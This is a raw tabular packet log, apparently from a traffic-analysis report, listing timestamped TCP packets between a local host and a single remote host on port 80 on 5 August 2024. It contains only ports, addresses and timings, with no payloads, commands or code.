Aug 5, 2024 11:59:38.016211987 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016232014 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016264915 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016266108 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016300917 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016328096 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016333103 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016371012 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016397953 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016422033 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016457081 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016499043 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016535044 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016591072 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016599894 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016642094 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016678095 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016697884 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016710043 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016746998 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016767979 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016778946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016812086 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016833067 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016844034 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016880035 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016899109 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016911030 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016944885 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016974926 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016978979 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.017014027 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.017034054 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.017045021 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.017076969 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.017111063 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.017117977 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.017147064 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.017160892 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.017177105 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.017230034 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.311624050 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311687946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311701059 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311722040 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311734915 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311739922 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311745882 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311755896 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311767101 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311778069 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311789036 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311820030 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.311832905 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311855078 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311865091 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311877012 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311880112 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.311894894 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.311897039 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311909914 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.311912060 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.311965942 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.312000990 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.312014103 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.312026978 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.312041044 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.312053919 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.312056065 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.312086105 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.312108994 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.312180996 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.312192917 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.312203884 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.312215090 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.312227011 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.312230110 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.312258959 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313462973 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313474894 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313488007 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313503981 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313513041 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313517094 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313530922 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313536882 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313561916 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313594103 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313606977 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313622952 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313635111 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313656092 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313683987 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313735962 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313747883 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313759089 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313771009 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313781023 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313781977 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313793898 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313806057 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313816071 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313817978 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313833952 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313848019 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313873053 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313886881 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313898087 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313910007 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313921928 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313925028 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313932896 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313946009 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313955069 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313958883 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313965082 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.313972950 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.313997984 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314024925 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314090967 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314102888 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314114094 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314125061 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314142942 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314152956 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314155102 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314169884 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314176083 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314177990 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314188957 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314208984 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314218998 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314219952 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314264059 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314284086 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314296007 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314307928 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314335108 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314357042 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314394951 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314409018 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314420938 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314434052 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314457893 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314490080 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314503908 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314515114 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314526081 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314538002 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314548969 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314559937 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314563036 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314572096 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314574957 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314776897 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314790010 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314801931 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314805984 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314820051 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314832926 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314835072 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314843893 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314884901 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.314945936 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314959049 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314970016 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314987898 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.314999104 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.315000057 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.315036058 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.363846064 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.647172928 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647217035 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647274017 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.647277117 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647313118 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647345066 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647361040 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.647394896 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647428036 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647448063 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.647461891 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647494078 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647507906 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.647526979 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647571087 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.647578001 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647628069 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647661924 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647680044 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.647696972 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647746086 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647747040 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.647814035 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647846937 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647864103 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.647878885 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647911072 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647932053 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.647944927 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647977114 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.647990942 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.648010969 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.648044109 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.648063898 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.648077965 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.648109913 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.648124933 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.648144960 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.648191929 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.649172068 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649224043 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649255991 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649276972 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.649307013 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649339914 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649359941 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.649389029 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649420023 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649441004 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.649471998 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649503946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649522066 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.649553061 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649585009 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649605989 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.649617910 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649650097 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649663925 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.649687052 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649722099 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649749994 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.649754047 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649791002 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649799109 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.649825096 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649856091 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649877071 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.649890900 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649918079 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649936914 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.649950981 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.649982929 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650001049 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650046110 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650093079 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650155067 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650187016 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650232077 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650238991 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650288105 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650322914 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650340080 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650371075 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650413990 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650427103 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650445938 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650480032 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650492907 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650527954 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650563002 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650580883 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650595903 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650628090 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650645018 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650661945 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650693893 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650711060 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650727034 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650763988 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650772095 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650804043 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650836945 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650856972 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650886059 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650918961 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.650937080 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.650969028 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651000977 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651020050 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.651034117 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651076078 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.651083946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651115894 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651149035 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651159048 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.651180029 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651212931 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651232958 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.651246071 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651276112 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651288033 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.651310921 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651343107 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651362896 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.651377916 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651411057 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651423931 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.651442051 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651474953 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651488066 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.651508093 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651540995 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651551962 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.651575089 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651607990 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651622057 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.651643038 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.651696920 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.011929035 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.011960030 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.011972904 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.011986017 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.011998892 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012017965 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012031078 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012042999 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012056112 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012058973 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012067080 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012080908 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012094021 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012104034 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012108088 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012120962 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012121916 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012134075 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012147903 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012149096 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012164116 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012171984 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012176037 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012190104 CEST	80	49762	27.221.16.179	192.168.2.5
